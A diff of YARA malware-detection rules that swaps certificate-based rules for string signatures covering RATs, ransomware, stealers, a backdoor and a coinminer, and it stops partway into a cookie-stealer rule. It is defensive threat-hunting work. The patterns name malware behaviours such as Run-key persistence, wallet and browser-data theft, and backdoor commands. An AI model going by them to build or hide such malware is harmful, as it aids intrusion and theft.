+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L5585-L5606"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "981e4b426e926bd042f25a50de40d3e3462ed5fec0cf7261523b314b908a1276"
+		logic_hash = "638f63f605b21154f062b0f4d0659cd6cd87aee319debb2c1a991a679fec087a"
 		score = 75
 		quality = 75
 		tags = "FILE"
-		thumbprint = "d481d73bcf1e45db382d0e345f3badde6735d17d"
-		importance = 20
+
+	strings:
+		$x1 = "VXNlci1BZ2VudA" ascii wide
+		$x2 = "cGFnZT17R1VJRH0mdj0x" ascii wide
+		$x3 = "0eXBlPXtHVUlEfSZ2PTE" ascii wide
+		$x4 = "tZXNzYWdlPXtHVUlEfSZ2PTE" ascii wide
+		$x5 = "L2VuLXVzL" ascii wide
+		$x6 = "L2VuLXVzL2luZGV4Lmh0bWw" ascii wide
+		$x7 = "L2VuLXVzL2RvY3MuaHRtbD" ascii wide
+		$s1 = "ExecuteStager" ascii
+		$s2 = "UseCertPinning" fullword ascii
+		$s3 = "FromBase64String" fullword ascii
+		$s4 = "ToBase64String" fullword ascii
+		$s5 = "DownloadString" fullword ascii
+		$s6 = "UploadString" fullword ascii
+		$s7 = "GetWebRequest" fullword ascii
 
 	condition:
-		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "Dbdbecdbdfafdc" and pe.signatures[i].serial=="6c:8d:0c:f4:d1:59:3e:e8:dc:8d:34:be:71:e9:02:51")
+		uint16(0)==0x5a4d and (2 of ($x*) or all of ($s*) or (1 of ($x*) and 5 of ($s*)))
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_KB_CERT_7D08A74747557D6016Aaaf47A679312F : FILE
+rule DITEKSHEN_MALWARE_Win_Fabookie : FILE
 {
 	meta:
-		description = "Detects executables signed with stolen, revoked or invalid certificates"
+		description = "Detects Fabookie / ElysiumStealer"
 		author = "ditekSHen"
-		id = "031cf958-1c37-5190-8fbd-6896f1048c9a"
-		date = "2023-12-08"
-		modified = "2023-12-08"
+		id = "dfa653c4-37d9-5e31-9c47-23adf751e4aa"
+		date = "2024-05-28"
+		modified = "2024-05-28"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L3334-L3345"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L5608-L5624"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "ff7c9635b9b43bef7401861d5dbf984d1e2aa1ea9e4d3df9ad348c552767628e"
+		logic_hash = "bbe10323817d501a361a33abf61a49ad59fcac69d78d9d9ec1744ee99a4b4629"
 		score = 75
-		quality = 75
+		quality = 73
 		tags = "FILE"
-		thumbprint = "d7fdad88c626b8e6d076f3f414bbae353f444618"
-		importance = 20
+
+	strings:
+		$s1 = "rwinssyslog" fullword wide
+		$s2 = "_kasssperskdy" fullword wide
+		$s3 = "[Title:%s]" fullword wide
+		$s4 = "[Execute]" fullword wide
+		$s5 = "[Snapshot]" fullword wide
+		$s6 = "Mozilla/4.0 (compatible)" fullword wide
+		$s7 = "d-k netsvcs" fullword wide
+		$s8 = "facebook.websmails.com" fullword wide
+		$s9 = "CUdpClient::Start" fullword ascii
 
 	condition:
-		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "Abfacfbdcd" and pe.signatures[i].serial=="7d:08:a7:47:47:55:7d:60:16:aa:af:47:a6:79:31:2f")
+		( uint16(0)==0x5a4d or uint16(0)==0x0805) and 6 of them
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_KB_CERT_2095C6F1Eadb65Ce02862Bd620623B92 : FILE
+rule DITEKSHEN_MALWARE_Win_Cobianrat : FILE
 {
 	meta:
-		description = "Detects executables signed with stolen, revoked or invalid certificates"
+		description = "Detects CobianRAT, a fork of Njrat"
 		author = "ditekSHen"
-		id = "c44d8942-569b-50c6-8363-0576c7d54dfb"
-		date = "2023-12-08"
-		modified = "2023-12-08"
+		id = "5a9b6f04-fc52-52a9-b72f-d24dd093e886"
+		date = "2024-05-28"
+		modified = "2024-05-28"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L3347-L3358"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L5626-L5640"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "0b75d8c59486d197f2cdff298114a7367bb6ad4cf71ee28273e0946e42d3f7e8"
+		logic_hash = "5c8f55e5328b61c3591c876797b4521f8e98af7a6c53bab918f10d5c3c2b5013"
 		score = 75
 		quality = 75
 		tags = "FILE"
-		thumbprint = "940a4d4a5aadef70d8c14caac6f11d653e71800f"
-		importance = 20
+
+	strings:
+		$s1 = "1.0.40.7" fullword wide
+		$s2 = "DownloadData" fullword wide
+		$s3 = "Executed As" fullword wide
+		$s4 = "\\Plugins" fullword wide
+		$s5 = "LOGIN" fullword wide
+		$s6 = "software\\microsoft\\windows\\currentversion\\run" wide
+		$s7 = "Hidden" fullword wide
 
 	condition:
-		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "Febeecad" and pe.signatures[i].serial=="20:95:c6:f1:ea:db:65:ce:02:86:2b:d6:20:62:3b:92")
+		uint16(0)==0x5a4d and 5 of them
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_KB_CERT_899E32C9Bf2B533B9275C39F8F9Ff96D : FILE
+rule DITEKSHEN_MALWARE_Win_Leivion : FILE
 {
 	meta:
-		description = "Detects executables signed with stolen, revoked or invalid certificates"
+		description = "Detects Leivion"
 		author = "ditekSHen"
-		id = "62ecae58-7576-5170-8eb5-2becd292e5de"
-		date = "2023-12-08"
-		modified = "2023-12-08"
+		id = "77800add-8fff-5657-9ed6-a23517bce0b1"
+		date = "2024-05-28"
+		modified = "2024-05-28"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L3373-L3384"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L5660-L5673"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "c5fe3726fd19d050e762cc9e4e2099e74e3780c89a75dab55c12e16bfecd8642"
+		logic_hash = "a0cda23df4301b66feedad7c04b4d051c07474ccaa07c05598dd0b47bb6fc7e6"
 		score = 75
 		quality = 75
 		tags = "FILE"
-		thumbprint = "329af76d7c84a90f2117893adc255115c3c961c7"
-		importance = 20
+
+	strings:
+		$s1 = "/var/lib/veil/go/src/runtime/mem_windows.go" fullword ascii
+		$s2 = "/var/lib/veil/go/src/internal/singleflight/singleflight.go" fullword ascii
+		$s3 = "/var/lib/veil/go/src/net/http/sniff.go" fullword ascii
+		$s4 = "/var/lib/veil/go/src/net/sendfile_windows.go" fullword ascii
+		$s5 = "/var/lib/veil/go/src/os/exec_" ascii
+		$s6 = "/var/lib/veil/go/src/runtime/mgcsweep.go" fullword ascii
 
 	condition:
-		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "Eecaaffcbfdffaedcfec" and pe.signatures[i].serial=="89:9e:32:c9:bf:2b:53:3b:92:75:c3:9f:8f:9f:f9:6d")
+		uint16(0)==0x5a4d and 4 of them
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_KB_CERT_0B5759Bc22Ad2128B8792E8535F9161E : FILE
+rule DITEKSHEN_MALWARE_Win_Banload : FILE
 {
 	meta:
-		description = "Detects executables signed with stolen, revoked or invalid certificates"
+		description = "Detects Banload"
 		author = "ditekSHen"
-		id = "c35c4e07-73d9-54d6-a8cb-1558502a82e9"
-		date = "2023-12-08"
-		modified = "2023-12-08"
+		id = "4672bce1-1280-576d-b7df-f0181a854058"
+		date = "2024-05-28"
+		modified = "2024-05-28"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L3386-L3397"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L5675-L5688"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "1ee543c204e5bf004224a2010f8cfd3196bb9c1e96de350548403224eaa502f6"
+		logic_hash = "5cbc69d11b73f60d6eee3f23ed6cc217ba37a3408cb69e396e0394b5a1e20b75"
 		score = 75
 		quality = 75
 		tags = "FILE"
-		thumbprint = "ddfd6a93a8d33f0797d5fdfdb9abf2b66e64350a"
-		importance = 20
+
+	strings:
+		$s1 = "main.die" fullword ascii
+		$s2 = "main.postResults" fullword ascii
+		$s3 = "main.checkin" fullword ascii
+		$s4 = "RegQueryValueExWRemoveDirectoryWSETTINGS_TIMEOUTTerminateProcessUpgrade RequiredUser-Agent: %s" ascii
+		$s5 = "pcuser-agentws2_32.dll (targetpc= DigestType ErrCode=%v" ascii
+		$s6 = "invalid pc-encoded table f=runtime: invalid typeBitsBulkBarrie" fullword ascii
 
 	condition:
-		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "Ceeacfeacafdcdffabdbbacf" and pe.signatures[i].serial=="0b:57:59:bc:22:ad:21:28:b8:79:2e:85:35:f9:16:1e")
+		uint16(0)==0x5a4d and 5 of them
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_KB_CERT_630Cf0E612F12805Ffa00A41D1032D7C : FILE
+rule DITEKSHEN_MALWARE_Win_TYRAT : FILE
 {
 	meta:
-		description = "Detects executables signed with stolen, revoked or invalid certificates"
+		description = "Detects TYRAT"
 		author = "ditekSHen"
-		id = "1c3e2b33-24e5-584c-b375-96c1e653a3ca"
-		date = "2023-12-08"
-		modified = "2023-12-08"
+		id = "316c50cc-964e-5d24-b169-7a09fdf61638"
+		date = "2024-05-28"
+		modified = "2024-05-28"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L3399-L3410"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L5690-L5703"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "2256858ae75c47568fc6a38e2a587d302d99dd396dd398a450eaa6459ed55d13"
+		logic_hash = "b733b7aa3ba1195807fb728453c0f3f4df2177836054af6f7a863e14058884cb"
 		score = 75
-		quality = 75
+		quality = 25
 		tags = "FILE"
-		thumbprint = "107af72db66ec4005ed432e4150a0b6f5a9daf2d"
-		importance = 20
+
+	strings:
+		$s1 = "C:\\$MSIRecycle.Bin\\" fullword ascii
+		$s2 = "Range: bytes=%d-" fullword ascii
+		$s3 = "GET%sHTTP/1.1" fullword ascii
+		$s4 = "DllServer.dll" fullword ascii
+		$s5 = ".Bin\\bnch" ascii
+		$s6 = "User-Agent: wget" fullword ascii
 
 	condition:
-		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "Dadebfaca" and pe.signatures[i].serial=="63:0c:f0:e6:12:f1:28:05:ff:a0:0a:41:d1:03:2d:7c")
+		uint16(0)==0x5a4d and 4 of them
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_KB_CERT_603Bce30597089D068320Fc77E400D06 : FILE
+rule DITEKSHEN_MALWARE_Win_Infinitylock : FILE
 {
 	meta:
-		description = "Detects executables signed with stolen, revoked or invalid certificates"
+		description = "Detects InfinityLock ransomware"
 		author = "ditekSHen"
-		id = "0f2a2411-f3d4-5959-8470-d7424d714c1d"
-		date = "2023-12-08"
-		modified = "2023-12-08"
+		id = "7a66cc19-c635-580b-abc2-b58bd48673bd"
+		date = "2024-05-28"
+		modified = "2024-05-28"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L3412-L3423"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L5705-L5723"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "1e13c78cec21a015d9593b492ce5040f93247be63c079bfece96a3a74055aeba"
+		logic_hash = "634759f1c2d48becebc9c87e146e898524071738f74b7001b112dc793bcb581c"
 		score = 75
-		quality = 75
+		quality = 73
 		tags = "FILE"
-		thumbprint = "4ddda7e006afb108417627f8f22a6fa416e3f264"
-		importance = 20
+
+	strings:
+		$s1 = "_Encrypted$" fullword ascii
+		$s2 = "PublicKeyToken=" fullword ascii nocase
+		$s3 = "GenerateHWID" fullword ascii
+		$s4 = "CreateKey" fullword ascii
+		$d1 = "ProgrammFiles" fullword ascii
+		$d2 = "OneDrive" fullword ascii
+		$d3 = "ProgrammsX86" fullword ascii
+		$d4 = "UserDirs" fullword ascii
+		$d5 = "B_Drive" fullword ascii
+		$pdb1 = "F:\\DESKTOP!\\ChkDsk\\ChkDsk\\obj\\" ascii
+		$pdb2 = "\\ChkDsk\\obj\\Debug\\PremiereCrack.pdb" ascii
 
 	condition:
-		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "Fcaddefffedacfc" and pe.signatures[i].serial=="60:3b:ce:30:59:70:89:d0:68:32:0f:c7:7e:40:0d:06")
+		uint16(0)==0x5a4d and (( all of ($s*) and 1 of ($d*)) or (4 of ($d*) and 2 of ($s*)) or ( any of ($pdb*) and 1 of ($s*) and 1 of ($d*)))
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_KB_CERT_5D5D03Edb4Ec4E185Caa3041824Ab75C : FILE
+rule DITEKSHEN_MALWARE_Win_Mountlocker : FILE
 {
 	meta:
-		description = "Detects executables signed with stolen, revoked or invalid certificates"
+		description = "Detects MountLocker ransomware"
 		author = "ditekSHen"
-		id = "e1c93911-5c7c-5fe8-aed3-014a9bb7379e"
-		date = "2023-12-08"
-		modified = "2023-12-08"
+		id = "0590d08d-1ee8-5dfe-af12-15b149acd2d6"
+		date = "2024-05-28"
+		modified = "2024-05-28"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L3425-L3436"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L5725-L5740"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "863a1496ce37449fa7e94c407ce0e63a9d727fef9094135715d0cb14ed442e5e"
+		logic_hash = "30bc601fef60cc1c9d8bff5dd3f8a53214f088b74eb24fe2369f5664613e0eaf"
 		score = 75
 		quality = 75
 		tags = "FILE"
-		thumbprint = "f6c9c564badc1bbd8a804c5e20ab1a0eff89d4c0"
-		importance = 20
+
+	strings:
+		$s1 = "] locker.dir.check > " ascii wide
+		$s2 = "] locekr.kill." ascii wide
+		$s3 = "] locker.worm" ascii wide
+		$s4 = "%CLIENT_ID%" fullword ascii
+		$s5 = "RecoveryManual.html" ascii wide
+		$s6 = "RECOVERY MANUAL" ascii
+		$s7 = ".ReadManual.%0.8X" ascii wide
+		$s8 = "/?cid=%CLIENT_ID%" ascii
 
 	condition:
-		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "Ffcdcbacfeaedbfbcecccafeb" and pe.signatures[i].serial=="5d:5d:03:ed:b4:ec:4e:18:5c:aa:30:41:82:4a:b7:5c")
+		uint16(0)==0x5a4d and 3 of them
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_KB_CERT_Aec009984Fa957F3F48Fe3104Ca9Babc : FILE
+rule DITEKSHEN_MALWARE_Win_Pingback : FILE
 {
 	meta:
-		description = "Detects executables signed with stolen, revoked or invalid certificates"
+		description = "Detects PingBack ICMP backdoor"
 		author = "ditekSHen"
-		id = "76b5d6b6-f443-55b5-b353-88201fe09e1f"
-		date = "2023-12-08"
-		modified = "2023-12-08"
+		id = "ecb313b6-f923-5b6d-a4d7-a4650817ed84"
+		date = "2024-05-28"
+		modified = "2024-05-28"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L3438-L3449"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L5742-L5761"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "de9008e30468b94b4afbc622403b0257f5c5e3964344b980c18fc95219e06667"
+		logic_hash = "c5fa9ecefca1188ba5e81c0518f74023884ad0f66718fc030601cb458bdf2f12"
 		score = 75
 		quality = 75
 		tags = "FILE"
-		thumbprint = "9d5b6bc86775395992a25d21d696d05d634a89d1"
-		importance = 20
+
+	strings:
+		$s1 = "Sniffer ok!" fullword ascii
+		$s2 = "recv icmp packet!" fullword ascii
+		$s3 = "WSASocket() failed: %d" fullword ascii
+		$s4 = "file on remote computers success" ascii
+		$s5 = "listen port error!" fullword ascii
+		$s6 = "\\PingBackService" ascii
+		$c1 = "exec" fullword ascii
+		$c2 = "rexec" fullword ascii
+		$c3 = "exep" fullword ascii
+		$c4 = "download" fullword ascii
+		$c5 = "upload" fullword ascii
+		$c6 = "shell" fullword ascii
 
 	condition:
-		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "Ceefaccdedbfbbaaaadacdbf" and pe.signatures[i].serial=="ae:c0:09:98:4f:a9:57:f3:f4:8f:e3:10:4c:a9:ba:bc")
+		uint16(0)==0x5a4d and (3 of ($s*) or all of ($c*) or (4 of ($c*) and 2 of ($s*)))
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_KB_CERT_283518F1940A11Caf187646D8063D61D : FILE
+rule DITEKSHEN_MALWARE_Win_Bazarloader : FILE
 {
 	meta:
-		description = "Detects executables signed with stolen, revoked or invalid certificates"
+		description = "Detects BazarLoader variants"
 		author = "ditekSHen"
-		id = "cf5f7f11-3af6-577b-9a5e-eafe2de34e2b"
-		date = "2023-12-08"
-		modified = "2023-12-08"
+		id = "6282df59-7244-501f-bb60-09a2a519bd47"
+		date = "2024-05-28"
+		modified = "2024-05-28"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L3451-L3462"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L5763-L5776"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "7db16bc44059e2538eb896011598a599c6aead90fb873c530ce8f5391e440164"
+		logic_hash = "8febd1355bc03f71794ffb8d51cbb112e8acd2d26fec5bb736a388d5384e7747"
 		score = 75
 		quality = 75
 		tags = "FILE"
-		thumbprint = "aaeb19203b71e26c857613a5a2ba298c79910f5d"
-		importance = 20
+
+	strings:
+		$s1 = "Startdelay for %d ms to avoid some dynamic AV detects!" ascii
+		$s2 = "Use Debug for moving faster!" ascii
+		$s3 = "Logging Mutex %s to %s" ascii
+		$s4 = "FIRST AND ONLY COPY RUNNING! Mutex %s" ascii
+		$s5 = "the most secret 3d GetWinApiPointers line in the world!" ascii
+		$s6 = "[+] makeMD5hash. " ascii
 
 	condition:
-		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "Eeeeeeba" and pe.signatures[i].serial=="28:35:18:f1:94:0a:11:ca:f1:87:64:6d:80:63:d6:1d")
+		uint16(0)==0x5a4d and 3 of ($s*)
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_KB_CERT_72F3E4707B94D0Eef214384De9B36E : FILE
+rule DITEKSHEN_MALWARE_Win_Coinminer01 : FILE
 {
 	meta:
-		description = "Detects executables signed with stolen, revoked or invalid certificates"
+		description = "Detects coinmining malware"
 		author = "ditekSHen"
-		id = "bf02ea89-b3f3-58a1-8bcd-1a23b3c96b68"
-		date = "2023-12-08"
-		modified = "2023-12-08"
+		id = "739e7cea-c6b6-5add-86d4-382b00e2b645"
+		date = "2024-05-28"
+		modified = "2024-05-28"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L3464-L3475"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L5778-L5790"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "c2a310ff70012076856239b5b5e6b46ffa121479dea38815e61f5336cecf8868"
+		logic_hash = "31a7531ecc7b8a35ba882c17d15bd3581e65b4b99dd3a7cb8bca8f6edf204114"
 		score = 75
 		quality = 75
 		tags = "FILE"
-		thumbprint = "e2a5a2823b0a56c88bfcb2788aa4406e084c4c9b"
-		importance = 20
+
+	strings:
+		$s1 = "-o pool." ascii wide
+		$s2 = "--cpu-max-threads-hint" ascii wide
+		$s3 = "-P stratum" ascii wide
+		$s4 = "--farm-retries" ascii wide
+		$dl = "github.com/ethereum-mining/ethminer/releases/download" ascii wide
 
 	condition:
-		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "Eaaebecedccfd" and pe.signatures[i].serial=="72:f3:e4:70:7b:94:d0:ee:f2:14:38:4d:e9:b3:6e")
+		uint16(0)==0x5a4d and (3 of ($s*) or ($dl))
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_KB_CERT_00D875B3E3F2Db6C3Eb426E24946066111 : FILE
+rule DITEKSHEN_PUA_Win_Ultrasurf : FILE
 {
 	meta:
-		description = "Detects executables signed with stolen, revoked or invalid certificates"
+		description = "Detects UltraSurf / Ultrareach PUA"
 		author = "ditekSHen"
-		id = "a44cde8b-904b-5f1a-8cdb-4a8b16a42669"
-		date = "2023-12-08"
-		modified = "2023-12-08"
+		id = "ba0f6867-bddc-5e72-978c-8e29b1b6b709"
+		date = "2024-05-28"
+		modified = "2024-05-28"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L3477-L3488"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L5792-L5807"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "470424bf28b723063be5d6801ee27b0f3748b761f9005616dcab4bd864db5463"
+		logic_hash = "d8d17b1bf20c12f864697d3dd66f345a8b93e2a75f0489b58b23b7f5264b6be3"
 		score = 75
 		quality = 75
 		tags = "FILE"
-		thumbprint = "d27211a59dc8a4b3073d116621b6857c3d70ed04"
-		importance = 20
+
+	strings:
+		$s1 = "Ultrareach Internet Corp." ascii
+		$s2 = "UltrasurfUnionRectUrlFixupWUse Proxy" ascii
+		$s3 = "Ultrasurf UnlockFileUrlEscapeWUser-Agent" ascii wide
+		$s4 = "Ultrasurf0#" ascii
+		$m1 = "main.bindata_read" fullword ascii
+		$m2 = "main.icon64_png" fullword ascii
+		$m3 = "main.setProxy" fullword ascii
+		$m4 = "main.openbrowser" fullword ascii
 
 	condition:
-		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "Kubit LLC" and pe.signatures[i].serial=="00:d8:75:b3:e3:f2:db:6c:3e:b4:26:e2:49:46:06:61:11")
+		uint16(0)==0x5a4d and (2 of ($s*) or ( all of ($m*) and 1 of ($s*)))
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_KB_CERT_3990362C34015Ce4C23Ecc3377Fd3C06 : FILE
+rule DITEKSHEN_MALWARE_Win_Hello : FILE
 {
 	meta:
-		description = "Detects executables signed with stolen, revoked or invalid certificates"
+		description = "Hunt for Hello / WickrMe ransomware"
 		author = "ditekSHen"
-		id = "e76824c2-6ee7-5117-a83f-0b8e4f2d3b61"
-		date = "2023-12-08"
-		modified = "2023-12-08"
+		id = "99c11aab-8a3a-5e10-9af0-542e55129d51"
+		date = "2024-05-28"
+		modified = "2024-05-28"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L3490-L3501"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L5809-L5820"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "5e91a10f5027cae35524bef326edf7d5bf3df5bbc37c111b01e33f7667b03ce3"
+		logic_hash = "f52f12eb38613f5afd5258b5263c6e6e2d9db6c9659a769f896a2bb66564fa69"
 		score = 75
 		quality = 75
 		tags = "FILE"
-		thumbprint = "48444dec9d6839734d8383b110faabe05e697d45"
-		importance = 20
+
+	strings:
+		$s1 = "DeleteBackupFiles" ascii wide
+		$s2 = "GetEncryptFiles" ascii wide
+		$s3 = "DeleteVirtualDisks" ascii wide
+		$s4 = "DismountVirtualDisks" ascii wide
 
 	condition:
-		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "RZOH ApS" and pe.signatures[i].serial=="39:90:36:2c:34:01:5c:e4:c2:3e:cc:33:77:fd:3c:06")
+		uint16(0)==0x5a4d and 3 of them
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_KB_CERT_54A6D33F73129E0Ef059Ccf51Be0C35E : FILE
+rule DITEKSHEN_MALWARE_Win_Buterat : FILE
 {
 	meta:
-		description = "Detects executables signed with stolen, revoked or invalid certificates"
+		description = "Detects ButeRAT"
 		author = "ditekSHen"
-		id = "7b010276-718f-5168-bd8c-414252996fe6"
-		date = "2023-12-08"
-		modified = "2023-12-08"
+		id = "74f63d61-6589-5fb1-864a-3a02ddd57ebc"
+		date = "2024-05-28"
+		modified = "2024-05-28"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L3503-L3514"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L5822-L5839"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "93b332e4ad4e13c7e8241cf866091708232a6555a9240d828e558688167359a0"
+		logic_hash = "c3d93e8dc1bde8e77c11586c8d8b67d137ef2c4791e12269f1af310fbe14832b"
 		score = 75
-		quality = 75
+		quality = 73
 		tags = "FILE"
-		thumbprint = "8ada307ab3a8983857d122c4cb48bf3b77b49c63"
-		importance = 20
+
+	strings:
+		$x1 = "TVqQAAMAA" ascii
+		$s1 = "ipinfo.io/geo" wide
+		$s2 = "/index.php" wide
+		$s3 = "Copy-Item -Path" wide
+		$s4 = ";Start-Process" wide
+		$s5 = "Microsoft\\Windows\\Start Menu\\Programs\\Startup" wide
+		$s6 = "LOCALAPPDATA" fullword wide
+		$s7 = "passwords.json" wide
+		$s8 = "Scripting.FileSystemObject" fullword wide
+		$z1 = /(edge|chrome|opera|exodus|jaxx|atomic|coinomi)\.zip/ ascii wide nocase
 
 	condition:
-		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "STAFFORD MEAT COMPANY, INC." and pe.signatures[i].serial=="54:a6:d3:3f:73:12:9e:0e:f0:59:cc:f5:1b:e0:c3:5e")
+		uint16(0)==0x5a4d and ((1 of ($x*) or 1 of ($z*)) and (4 of ($s*)) or (6 of ($s*)) or (#z1>4 and 2 of them ))
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_KB_CERT_0A55C15F733Bf1633E9Ffae8A6E3B37D : FILE
+rule DITEKSHEN_MALWARE_Win_Cookiestealer : FILE
 {
 	meta:
-		description = "Detects executables signed with stolen, revoked or invalid certificates"
+		description = "Detects generic cookie stealer"
 		author = "ditekSHen"
-		id = "86d8453b-115d-59f8-8123-5aff071ec3dd"
-		date = "2023-12-08"
-		modified = "2023-12-08"
+		id = "64c6c59d-4046-5949-bf71-22a5f6bfa209"
